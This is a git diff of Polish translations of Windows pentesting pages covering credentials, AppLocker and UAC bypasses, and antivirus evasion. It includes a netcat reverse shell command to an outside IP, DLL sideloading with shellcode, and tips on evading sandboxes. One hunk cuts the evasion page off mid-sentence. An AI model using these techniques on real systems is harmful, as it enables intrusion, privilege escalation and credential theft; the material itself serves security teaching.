odszyfrowane hasła. @@ -110,9 +110,9 @@ EFS zabezpiecza pliki poprzez szyfrowanie, wykorzystując **klucz symetryczny** - Gdy pliki lub foldery są przenoszone do systemu plików, który nie obsługuje EFS, takiego jak [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), są automatycznie odszyfrowywane. - Zaszyfrowane pliki wysyłane przez sieć za pomocą protokołu SMB/CIFS są odszyfrowywane przed transmisją. -Ta metoda szyfrowania pozwala na **przezroczysty dostęp** do zaszyfrowanych plików dla właściciela. Jednak samo zmienienie hasła właściciela i zalogowanie się nie pozwoli na odszyfrowanie. +Ta metoda szyfrowania umożliwia **przezroczysty dostęp** do zaszyfrowanych plików dla właściciela. Jednak samo zmienienie hasła właściciela i zalogowanie się nie pozwoli na odszyfrowanie. -**Kluczowe informacje**: +**Kluczowe wnioski**: - EFS używa symetrycznego FEK, szyfrowanego kluczem publicznym użytkownika. - Odszyfrowanie wykorzystuje klucz prywatny użytkownika do uzyskania dostępu do FEK. @@ -142,9 +142,9 @@ Microsoft opracował **Group Managed Service Accounts (gMSA)**, aby uprościć z - **Automatyczne zarządzanie hasłami**: gMSA używają złożonego, 240-znakowego hasła, które automatycznie zmienia się zgodnie z polityką domeny lub komputera. Proces ten jest obsługiwany przez usługę dystrybucji kluczy Microsoft (KDC), eliminując potrzebę ręcznych aktualizacji haseł. - **Zwiększone bezpieczeństwo**: Te konta są odporne na zablokowania i nie mogą być używane do interaktywnych logowań, co zwiększa ich bezpieczeństwo. -- **Wsparcie dla wielu hostów**: gMSA mogą być udostępniane na wielu hostach, co czyni je idealnymi dla usług działających na wielu serwerach. +- **Wsparcie dla wielu hostów**: gMSA mogą być współdzielone między wieloma hostami, co czyni je idealnymi dla usług działających na wielu serwerach. - **Możliwość zadań zaplanowanych**: W przeciwieństwie do zarządzanych kont serwisowych, gMSA wspierają uruchamianie zadań zaplanowanych. -- **Uproszczone zarządzanie SPN**: System automatycznie aktualizuje nazwę główną usługi (SPN) w przypadku zmian w szczegółach sAMaccount komputera lub nazwie DNS, co upraszcza zarządzanie SPN. +- **Uproszczone zarządzanie SPN**: System automatycznie aktualizuje nazwę główną usługi (SPN) w przypadku zmian w szczegółach sAMaccount komputera lub nazwie DNS, upraszczając zarządzanie SPN. Hasła dla gMSA są przechowywane w właściwości LDAP _**msDS-ManagedPassword**_ i są automatycznie resetowane co 30 dni przez kontrolery domeny (DC). To hasło, zaszyfrowany blob danych znany jako [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), może być odzyskane tylko przez upoważnionych administratorów i serwery, na których zainstalowane są gMSA, zapewniając bezpieczne środowisko. Aby uzyskać dostęp do tych informacji, wymagane jest zabezpieczone połączenie, takie jak LDAPS, lub połączenie musi być uwierzytelnione za pomocą 'Sealing & Secure'. @@ -156,11 +156,11 @@ Możesz odczytać to hasło za pomocą [**GMSAPasswordReader**](https://github.c ``` [**Znajdź więcej informacji w tym poście**](https://cube0x0.github.io/Relaying-for-gMSA/) -Sprawdź także tę [stronę internetową](https://cube0x0.github.io/Relaying-for-gMSA/), aby dowiedzieć się, jak przeprowadzić **atak relay NTLM**, aby **odczytać** **hasło** **gMSA**. +Sprawdź również tę [stronę internetową](https://cube0x0.github.io/Relaying-for-gMSA/) na temat przeprowadzania **ataku NTLM relay** w celu **odczytania** **hasła** **gMSA**. ## LAPS -**Rozwiązanie hasła lokalnego administratora (LAPS)**, dostępne do pobrania z [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), umożliwia zarządzanie hasłami lokalnych administratorów. Hasła te są **losowe**, unikalne i **regularnie zmieniane**, przechowywane centralnie w Active Directory. Dostęp do tych haseł jest ograniczony przez ACL do uprawnionych użytkowników. Przy wystarczających uprawnieniach możliwe jest odczytanie haseł lokalnych administratorów. +**Rozwiązanie hasła lokalnego administratora (LAPS)**, dostępne do pobrania z [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), umożliwia zarządzanie hasłami lokalnych administratorów. Hasła te są **losowe**, unikalne i **regularnie zmieniane**, przechowywane są centralnie w Active Directory. Dostęp do tych haseł jest ograniczony przez ACL do uprawnionych użytkowników. Przy wystarczających uprawnieniach możliwe jest odczytanie haseł lokalnych administratorów. {{#ref}} active-directory-methodology/laps.md diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md index d03d3dacc..d744cb5be 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md @@ -4,10 +4,10 @@ ## Polityka AppLocker -Lista dozwolonych aplikacji to lista zatwierdzonych aplikacji lub plików wykonywalnych, które mogą być obecne i uruchamiane w systemie. Celem jest ochrona środowiska przed szkodliwym oprogramowaniem i niezatwierdzonym oprogramowaniem, które nie odpowiada specyficznym potrzebom biznesowym organizacji. +Lista dozwolonych aplikacji to lista zatwierdzonych aplikacji lub plików wykonywalnych, które mogą być obecne i uruchamiane w systemie. Celem jest ochrona środowiska przed szkodliwym złośliwym oprogramowaniem i niezatwierdzonym oprogramowaniem, które nie odpowiada specyficznym potrzebom biznesowym organizacji. [AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) to **rozwiązanie do białej listy aplikacji** firmy Microsoft, które daje administratorom systemu kontrolę nad **tym, które aplikacje i pliki mogą uruchamiać użytkownicy**. Zapewnia **szczegółową kontrolę** nad plikami wykonywalnymi, skryptami, plikami instalacyjnymi Windows, DLL, aplikacjami pakietowymi i instalatorami aplikacji pakietowych.\ -Powszechną praktyką w organizacjach jest **blokowanie cmd.exe i PowerShell.exe** oraz zapisu do niektórych katalogów, **ale to wszystko można obejść**. +Powszechną praktyką w organizacjach jest **blokowanie cmd.exe i PowerShell.exe** oraz zapisu do niektórych katalogów, **ale wszystko to można obejść**. ### Sprawdzenie @@ -26,7 +26,7 @@ Ta ścieżka rejestru zawiera konfiguracje i polityki stosowane przez AppLocker, ### Ominięcie -- Użyteczne **Foldery do zapisu** do ominięcia polityki AppLocker: Jeśli AppLocker zezwala na wykonywanie czegokolwiek w `C:\Windows\System32` lub `C:\Windows`, istnieją **foldery do zapisu**, które możesz wykorzystać do **ominięcia tego**. +- Użyteczne **zapisywalne foldery** do ominięcia polityki AppLocker: Jeśli AppLocker zezwala na wykonywanie czegokolwiek w `C:\Windows\System32` lub `C:\Windows`, istnieją **zapisywalne foldery**, które możesz wykorzystać do **ominięcia tego**. ``` C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\drivers\color @@ -37,7 +37,7 @@ C:\windows\tracing - **Źle napisane zasady mogą być również obejście** - Na przykład, **``**, możesz stworzyć **folder o nazwie `allowed`** gdziekolwiek, a będzie on dozwolony. - Organizacje często koncentrują się na **blokowaniu pliku wykonywalnego `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, ale zapominają o **innych** [**lokacjach plików wykonywalnych PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) takich jak `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` lub `PowerShell_ISE.exe`. -- **Wymuszanie DLL rzadko włączone** z powodu dodatkowego obciążenia, jakie może nałożyć na system, oraz ilości testów wymaganych do zapewnienia, że nic się nie zepsuje. Dlatego użycie **DLL jako tylnej furtki pomoże w obejściu AppLocker**. +- **Wymuszanie DLL rzadko włączane** z powodu dodatkowego obciążenia, jakie może nałożyć na system, oraz ilości testów wymaganych do zapewnienia, że nic się nie zepsuje. Dlatego użycie **DLL jako tylnej furtki pomoże w obejściu AppLocker**. - Możesz użyć [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) lub [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick), aby **wykonać kod Powershell** w dowolnym procesie i obejść AppLocker. Więcej informacji znajdziesz tutaj: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). ## Przechowywanie poświadczeń @@ -50,7 +50,7 @@ Lokalne poświadczenia znajdują się w tym pliku, hasła są haszowane. **Poświadczenia** (haszowane) są **zapisywane** w **pamięci** tego podsystemu z powodów związanych z jednolitym logowaniem.\ **LSA** zarządza lokalną **polityką zabezpieczeń** (polityka haseł, uprawnienia użytkowników...), **uwierzytelnianiem**, **tokenami dostępu**...\ -LSA będzie tą, która **sprawdzi** podane poświadczenia w pliku **SAM** (dla lokalnego logowania) i **rozmawia** z **kontrolerem domeny**, aby uwierzytelnić użytkownika domeny. +LSA będzie tą, która **sprawdzi** podane poświadczenia w pliku **SAM** (dla lokalnego logowania) i **porozmawia** z **kontrolerem domeny**, aby uwierzytelnić użytkownika domeny. **Poświadczenia** są **zapisywane** wewnątrz **procesu LSASS**: bilety Kerberos, hasze NT i LM, łatwo odszyfrowane hasła. @@ -60,7 +60,7 @@ LSA może zapisać na dysku niektóre poświadczenia: - Hasło konta komputera w Active Directory (niedostępny kontroler domeny). - Hasła kont usług Windows -- Hasła do zadań zaplanowanych +- Hasła dla zadań zaplanowanych - Więcej (hasło aplikacji IIS...) ### NTDS.dit @@ -221,7 +221,7 @@ Więcej można znaleźć [tutaj](https://blog.netspi.com/15-ways-to-bypass-the-p Jest to API, które może być używane do uwierzytelniania użytkowników. -SSPI będzie odpowiedzialne za znalezienie odpowiedniego protokołu dla dwóch maszyn, które chcą się komunikować. Preferowaną metodą w tym przypadku jest Kerberos. Następnie SSPI negocjuje, który protokół uwierzytelniania będzie używany, te protokoły uwierzytelniania nazywane są dostawcami wsparcia bezpieczeństwa (SSP), znajdują się w każdej maszynie z systemem Windows w postaci DLL, a obie maszyny muszą obsługiwać ten sam, aby mogły się komunikować. +SSPI będzie odpowiedzialne za znalezienie odpowiedniego protokołu dla dwóch maszyn, które chcą się komunikować. Preferowaną metodą jest Kerberos. Następnie SSPI negocjuje, który protokół uwierzytelniania będzie używany, te protokoły uwierzytelniania nazywane są dostawcami wsparcia bezpieczeństwa (SSP), znajdują się w każdej maszynie z systemem Windows w postaci DLL, a obie maszyny muszą obsługiwać ten sam, aby mogły się komunikować. ### Główne SSP diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md index a8002d80a..27ccf28b4 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md @@ -20,9 +20,9 @@ Ta [strona](https://docs.microsoft.com/en-us/windows/security/identity-protectio | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ | | [Kontrola Konta Użytkownika: Tryb Zatwierdzania Administratora dla wbudowanego konta Administratora](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Wyłączone | | [Kontrola Konta Użytkownika: Zezwól aplikacjom UIAccess na wyświetlanie komunikatu o podwyższeniu bez użycia bezpiecznego pulpitu](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Wyłączone | -| [Kontrola Konta Użytkownika: Zachowanie komunikatu o podwyższeniu dla administratorów w Trybie Zatwierdzania Administratora](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Wyświetl komunikat o zgodzie dla nie-Windows binariów | -| [Kontrola Konta Użytkownika: Zachowanie komunikatu o podwyższeniu dla standardowych użytkowników](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Wyświetl komunikat o poświadczeniach na bezpiecznym pulpicie | -| [Kontrola Konta Użytkownika: Wykrywanie instalacji aplikacji i wyświetlanie komunikatu o podwyższeniu](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Włączone (domyślnie dla domów) Wyłączone (domyślnie dla przedsiębiorstw) | +| [Kontrola Konta Użytkownika: Zachowanie komunikatu o podwyższeniu dla administratorów w Trybie Zatwierdzania Administratora](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Wyświetl komunikat o zgodę dla nie-Windowsowych binariów | +| [Kontrola Konta Użytkownika: Zachowanie komunikatu o podwyższeniu dla standardowych użytkowników](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Wyświetl komunikat o dane uwierzytelniające na bezpiecznym pulpicie | +| [Kontrola Konta Użytkownika: Wykrywanie instalacji aplikacji i wyświetlanie komunikatu o podwyższeniu](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Włączone (domyślne dla domów) Wyłączone (domyślne dla przedsiębiorstw) | | [Kontrola Konta Użytkownika: Tylko podwyższaj wykonywalne, które są podpisane i zweryfikowane](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Wyłączone | | [Kontrola Konta Użytkownika: Tylko podwyższaj aplikacje UIAccess, które są zainstalowane w bezpiecznych lokalizacjach](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Włączone | | [Kontrola Konta Użytkownika: Uruchom wszystkich administratorów w Trybie Zatwierdzania Administratora](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Włączone | @@ -55,12 +55,12 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System ConsentPromptBehaviorAdmin REG_DWORD 0x5 ``` -- Jeśli **`0`**, to UAC nie wyświetli monitów (jak **wyłączone**) +- Jeśli **`0`**, to UAC nie będzie pytać (jak **wyłączone**) - Jeśli **`1`**, administrator jest **proszony o nazwę użytkownika i hasło** do wykonania binarnego z wysokimi uprawnieniami (na Secure Desktop) - Jeśli **`2`** (**Zawsze powiadamiaj mnie**) UAC zawsze poprosi o potwierdzenie administratora, gdy spróbuje wykonać coś z wysokimi uprawnieniami (na Secure Desktop) - Jeśli **`3`**, jak `1`, ale niekoniecznie na Secure Desktop - Jeśli **`4`**, jak `2`, ale niekoniecznie na Secure Desktop -- jeśli **`5`**(**domyślnie**) poprosi administratora o potwierdzenie uruchomienia binariów innych niż Windows z wysokimi uprawnieniami +- jeśli **`5`**(**domyślnie**) poprosi administratora o potwierdzenie uruchomienia binarnych nie-Windows z wysokimi uprawnieniami Następnie musisz spojrzeć na wartość **`LocalAccountTokenFilterPolicy`**\ Jeśli wartość to **`0`**, to tylko użytkownik **RID 500** (**wbudowany Administrator**) może wykonywać **zadania administracyjne bez UAC**, a jeśli to `1`, **wszystkie konta w grupie "Administratorzy"** mogą to robić. @@ -72,8 +72,8 @@ Jeśli **`0`**(domyślnie), **wbudowane konto Administratora może** wykonywać - Jeśli `EnableLUA=0` lub **nie istnieje**, **brak UAC dla nikogo** - Jeśli `EnableLua=1` i **`LocalAccountTokenFilterPolicy=1`, brak UAC dla nikogo** -- Jeśli `EnableLua=1` i **`LocalAccountTokenFilterPolicy=0` i `FilterAdministratorToken=0`, brak UAC dla RID 500 (Wbudowany Administrator)** -- Jeśli `EnableLua=1` i **`LocalAccountTokenFilterPolicy=0` i `FilterAdministratorToken=1`, UAC dla wszystkich** +- Jeśli `EnableLua=1` i **`LocalAccountTokenFilterPolicy=0` oraz `FilterAdministratorToken=0`, brak UAC dla RID 500 (Wbudowany Administrator)** +- Jeśli `EnableLua=1` i **`LocalAccountTokenFilterPolicy=0` oraz `FilterAdministratorToken=1`, UAC dla wszystkich** Wszystkie te informacje można zebrać za pomocą modułu **metasploit**: `post/windows/gather/win_privs` @@ -89,22 +89,22 @@ whoami /groups | findstr Level Obejście UAC jest potrzebne w następującej sytuacji: **UAC jest aktywowane, twój proces działa w kontekście średniej integralności, a twój użytkownik należy do grupy administratorów**. -Ważne jest, aby wspomnieć, że **dużo trudniej jest obejść UAC, jeśli jest na najwyższym poziomie bezpieczeństwa (Zawsze) niż jeśli jest na którymkolwiek z innych poziomów (Domyślny).** +Ważne jest, aby wspomnieć, że **znacznie trudniej jest obejść UAC, jeśli jest na najwyższym poziomie bezpieczeństwa (Zawsze) niż jeśli jest na którymkolwiek z innych poziomów (Domyślny).** ### UAC disabled -Jeśli UAC jest już wyłączone (`ConsentPromptBehaviorAdmin` to **`0`**), możesz **wykonać odwrotny shell z uprawnieniami administratora** (wysoki poziom integralności) używając czegoś takiego: +Jeśli UAC jest już wyłączone (`ConsentPromptBehaviorAdmin` to **`0`**), możesz **wykonać odwrotną powłokę z uprawnieniami administratora** (wysoki poziom integralności) używając czegoś takiego jak: ```bash #Put your reverse shell instead of "calc.exe" Start-Process powershell -Verb runAs "calc.exe" Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444" ``` -#### Ominięcie UAC z duplikacją tokenów +#### UAC bypass z duplikacją tokenów - [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/) - [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html) -### **Bardzo** podstawowe "ominięcie" UAC (pełny dostęp do systemu plików) +### **Bardzo** podstawowy "bypass" UAC (pełny dostęp do systemu plików) Jeśli masz powłokę z użytkownikiem, który jest w grupie Administratorzy, możesz **zamontować C$** udostępnione przez SMB (system plików) lokalnie na nowym dysku i będziesz miał **dostęp do wszystkiego w systemie plików** (nawet do folderu domowego Administratora). @@ -150,7 +150,7 @@ Major Minor Build Revision ----- ----- ----- -------- 10 0 14393 0 ``` -Również, korzystając z [tej](https://en.wikipedia.org/wiki/Windows_10_version_history) strony, uzyskujesz wersję systemu Windows `1607` z wersji kompilacji. +Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page you get the Windows release `1607` from the build versions. #### Więcej obejść UAC @@ -179,7 +179,7 @@ Jeśli spojrzysz na **UACME**, zauważysz, że **większość obejść UAC nadu 1. Znajdź binarny, który będzie **autoelevate** (sprawdź, czy po uruchomieniu działa na wysokim poziomie integralności). 2. Za pomocą procmon znajdź zdarzenia "**NAME NOT FOUND**", które mogą być podatne na **DLL Hijacking**. 3. Prawdopodobnie będziesz musiał **napisać** DLL wewnątrz niektórych **chronionych ścieżek** (takich jak C:\Windows\System32), gdzie nie masz uprawnień do zapisu. Możesz to obejść, używając: - 1. **wusa.exe**: Windows 7, 8 i 8.1. Umożliwia to wyodrębnienie zawartości pliku CAB w chronionych ścieżkach (ponieważ to narzędzie jest uruchamiane z wysokiego poziomu integralności). + 1. **wusa.exe**: Windows 7, 8 i 8.1. Umożliwia to wyodrębnienie zawartości pliku CAB w chronionych ścieżkach (ponieważ to narzędzie jest uruchamiane z wysokim poziomem integralności). 2. **IFileOperation**: Windows 10. 4. Przygotuj **skrypt**, aby skopiować swój DLL do chronionej ścieżki i uruchomić podatny i autoelevated binarny. diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md index 2feaf2beb..83cc7a40c 100644 --- a/src/windows-hardening/av-bypass.md +++ b/src/windows-hardening/av-bypass.md @@ -4,71 +4,13 @@ **Ta strona została napisana przez** [**@m2rc_p**](https://twitter.com/m2rc_p)**!** -## **Metodologia Ewakuacji AV** +## **Metodologia unikania AV** -Obecnie, AV używają różnych metod do sprawdzania, czy plik jest złośliwy, czy nie, takich jak wykrywanie statyczne, analiza dynamiczna, a dla bardziej zaawansowanych EDR-ów, analiza behawioralna. +Obecnie, AV używają różnych metod do sprawdzania, czy plik jest złośliwy, czy nie, takich jak wykrywanie statyczne, analiza dynamiczna oraz, w przypadku bardziej zaawansowanych EDR, analiza behawioralna. ### **Wykrywanie statyczne** -Wykrywanie statyczne osiąga się poprzez oznaczanie znanych złośliwych ciągów lub tablic bajtów w binarnym pliku lub skrypcie, a także poprzez wydobywanie informacji z samego pliku (np. opis pliku, nazwa firmy, podpisy cyfrowe, ikona, suma kontrolna itp.). Oznacza to, że używanie znanych publicznych narzędzi może łatwiej doprowadzić do wykrycia, ponieważ prawdopodobnie zostały one przeanalizowane i oznaczone jako złośliwe. Istnieje kilka sposobów na obejście tego rodzaju wykrywania: - -- **Szyfrowanie** - -Jeśli zaszyfrujesz plik binarny, nie będzie możliwości wykrycia twojego programu przez AV, ale będziesz potrzebować jakiegoś loadera do odszyfrowania i uruchomienia programu w pamięci. - -- **Obfuskacja** - -Czasami wystarczy zmienić kilka ciągów w swoim pliku binarnym lub skrypcie, aby przejść przez AV, ale może to być czasochłonne w zależności od tego, co próbujesz obfuskować. - -- **Niestandardowe narzędzia** - -Jeśli opracujesz własne narzędzia, nie będzie znanych złych sygnatur, ale zajmuje to dużo czasu i wysiłku. - -> [!NOTE] -> Dobrym sposobem na sprawdzenie wykrywania statycznego przez Windows Defender jest [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). W zasadzie dzieli plik na wiele segmentów, a następnie zleca Defenderowi skanowanie każdego z nich indywidualnie, w ten sposób może dokładnie powiedzieć, jakie ciągi lub bajty są oznaczone w twoim pliku binarnym. - -Zdecydowanie polecam zapoznać się z tą [playlistą na YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) na temat praktycznej ewakuacji AV. - -### **Analiza dynamiczna** - -Analiza dynamiczna to sytuacja, gdy AV uruchamia twój plik binarny w piaskownicy i obserwuje złośliwą aktywność (np. próba odszyfrowania i odczytania haseł przeglądarki, wykonanie minidumpa na LSASS itp.). Ta część może być nieco trudniejsza do obsługi, ale oto kilka rzeczy, które możesz zrobić, aby uniknąć piaskownic. - -- **Sen przed wykonaniem** W zależności od tego, jak jest to zaimplementowane, może to być świetny sposób na ominięcie dynamicznej analizy AV. AV mają bardzo krótki czas na skanowanie plików, aby nie przerywać pracy użytkownika, więc używanie długich okresów snu może zakłócić analizę plików binarnych. Problem polega na tym, że wiele piaskownic AV może po prostu pominąć sen, w zależności od tego, jak jest to zaimplementowane. -- **Sprawdzanie zasobów maszyny** Zwykle piaskownice mają bardzo mało zasobów do pracy (np. < 2GB RAM), w przeciwnym razie mogłyby spowolnić maszynę użytkownika. Możesz być również bardzo kreatywny w tym zakresie, na przykład sprawdzając temperaturę CPU lub nawet prędkości wentylatorów, nie wszystko będzie zaimplementowane w piaskownicy. -- **Sprawdzanie specyficzne dla maszyny** Jeśli chcesz zaatakować użytkownika, którego stacja robocza jest dołączona do domeny "contoso.local", możesz sprawdzić domenę komputera, aby zobaczyć, czy pasuje do tej, którą określiłeś, jeśli nie, możesz sprawić, że twój program zakończy działanie. - -Okazuje się, że nazwa komputera w piaskownicy Microsoft Defender to HAL9TH, więc możesz sprawdzić nazwę komputera w swoim złośliwym oprogramowaniu przed detonacją, jeśli nazwa pasuje do HAL9TH, oznacza to, że jesteś w piaskownicy defendera, więc możesz sprawić, że twój program zakończy działanie. - -

źródło: https://youtu.be/StSLxFbVz0M?t=1439

- -Kilka innych naprawdę dobrych wskazówek od [@mgeeky](https://twitter.com/mariuszbit) dotyczących omijania piaskownic - -

Red Team VX Discord #malware-dev channel

- -Jak już wcześniej wspomniano w tym poście, **publiczne narzędzia** ostatecznie **zostaną wykryte**, więc powinieneś zadać sobie pytanie: - -Na przykład, jeśli chcesz zrzucić LSASS, **czy naprawdę musisz używać mimikatz**? Czy mógłbyś użyć innego projektu, który jest mniej znany i również zrzuca LSASS. - -Prawidłowa odpowiedź to prawdopodobnie ta druga. Biorąc mimikatz jako przykład, prawdopodobnie jest to jeden z, jeśli nie najbardziej oznaczonych złośliwych programów przez AV i EDR, podczas gdy sam projekt jest super fajny, jest również koszmarem do pracy z nim, aby obejść AV, więc po prostu szukaj alternatyw dla tego, co próbujesz osiągnąć. - -> [!NOTE] -> Podczas modyfikowania swoich ładunków w celu ewakuacji, upewnij się, że **wyłączasz automatyczne przesyłanie próbek** w defenderze, a proszę, poważnie, **NIE PRZESYŁAJ DO VIRUSTOTAL**, jeśli twoim celem jest osiągnięcie ewakuacji w dłuższej perspektywie. Jeśli chcesz sprawdzić, czy twój ładunek jest wykrywany przez konkretne AV, zainstaluj go na VM, spróbuj wyłączyć automatyczne przesyłanie próbek i testuj tam, aż będziesz zadowolony z wyniku. - -## EXE vs DLL - -Kiedy tylko to możliwe, zawsze **priorytetuj używanie DLL do ewakuacji**, z mojego doświadczenia, pliki DLL są zazwyczaj **znacznie mniej wykrywane** i analizowane, więc to bardzo prosty trik do użycia, aby uniknąć wykrycia w niektórych przypadkach (jeśli twój ładunek ma jakiś sposób na uruchomienie jako DLL, oczywiście). - -Jak widać na tym obrazie, ładunek DLL z Havoc ma wskaźnik wykrycia 4/26 w antiscan.me, podczas gdy ładunek EXE ma wskaźnik wykrycia 7/26. - -

porównanie antiscan.me normalnego ładunku EXE z Havoc a normalnym ładunkiem DLL z Havoc

- -Teraz pokażemy kilka trików, które możesz wykorzystać z plikami DLL, aby być znacznie bardziej dyskretnym. - -## Sideloading DLL i Proxying - -**Sideloading DLL** wykorzystuje kolejność wyszukiwania DLL używaną przez loadera, umieszczając zarówno aplikację ofiary, jak i złośliwe ładunki obok siebie. - -Możesz sprawdzić programy podatne na Sideloading DLL używając [Siofra](https://github.com/Cybereason/siofra) oraz następującego skryptu powershell: +Wykrywanie statyczne osiąga się poprzez oznaczanie znanych złośliwych ciągów lub tablic bajtów w binarnym ```powershell Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object { $binarytoCheck = "C:\Program Files\" + $_ @@ -77,7 +19,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija ``` To polecenie wyświetli listę programów podatnych na DLL hijacking w "C:\Program Files\\" oraz pliki DLL, które próbują załadować. -Zalecam **samodzielne zbadanie programów podatnych na DLL Hijackable/Sideloadable**, ta technika jest dość dyskretna, jeśli jest wykonana poprawnie, ale jeśli użyjesz publicznie znanych programów Sideloadable, możesz łatwo zostać złapany. +Zalecam **samodzielne zbadanie programów podatnych na DLL Hijackable/Sideloadable**, ta technika jest dość dyskretna, jeśli jest wykonana poprawnie, ale jeśli użyjesz publicznie znanych programów Sideloadable DLL, możesz łatwo zostać złapany. Samo umieszczenie złośliwego DLL o nazwie, którą program oczekuje załadować, nie załaduje twojego ładunku, ponieważ program oczekuje pewnych specyficznych funkcji w tym DLL. Aby rozwiązać ten problem, użyjemy innej techniki zwanej **DLL Proxying/Forwarding**. @@ -92,7 +34,7 @@ Oto kroki, które wykonałem: 3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn) 4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin) ``` -Ostatnie polecenie wygeneruje nam 2 pliki: szablon kodu źródłowego DLL oraz oryginalny, przemianowany DLL. +Ostatnie polecenie wygeneruje 2 pliki: szablon kodu źródłowego DLL oraz oryginalny, przemianowany DLL.
``` @@ -111,7 +53,7 @@ Zarówno nasz shellcode (zakodowany za pomocą [SGN](https://github.com/EgeBalci `Freeze to zestaw narzędzi do payloadów do omijania EDR-ów za pomocą wstrzymanych procesów, bezpośrednich wywołań systemowych i alternatywnych metod wykonania` -Możesz użyć Freeze, aby załadować i wykonać swój shellcode w sposób ukryty. +Możesz użyć Freeze do załadowania i wykonania swojego shellcode w sposób dyskretny. ``` Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go) 1. Generate some shellcode, in this case I used Havoc C2. @@ -123,7 +65,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez > [!NOTE] > Unikanie to tylko gra w kotka i myszkę, to co działa dzisiaj, może być wykryte jutro, więc nigdy nie polegaj tylko na jednym narzędziu, jeśli to możliwe, spróbuj łączyć wiele technik unikania. -## AMSI (Interfejs Skanowania Antywirusowego) +## AMSI (Interfejs skanowania antywirusowego) AMSI został stworzony, aby zapobiegać "[złośliwemu oprogramowaniu 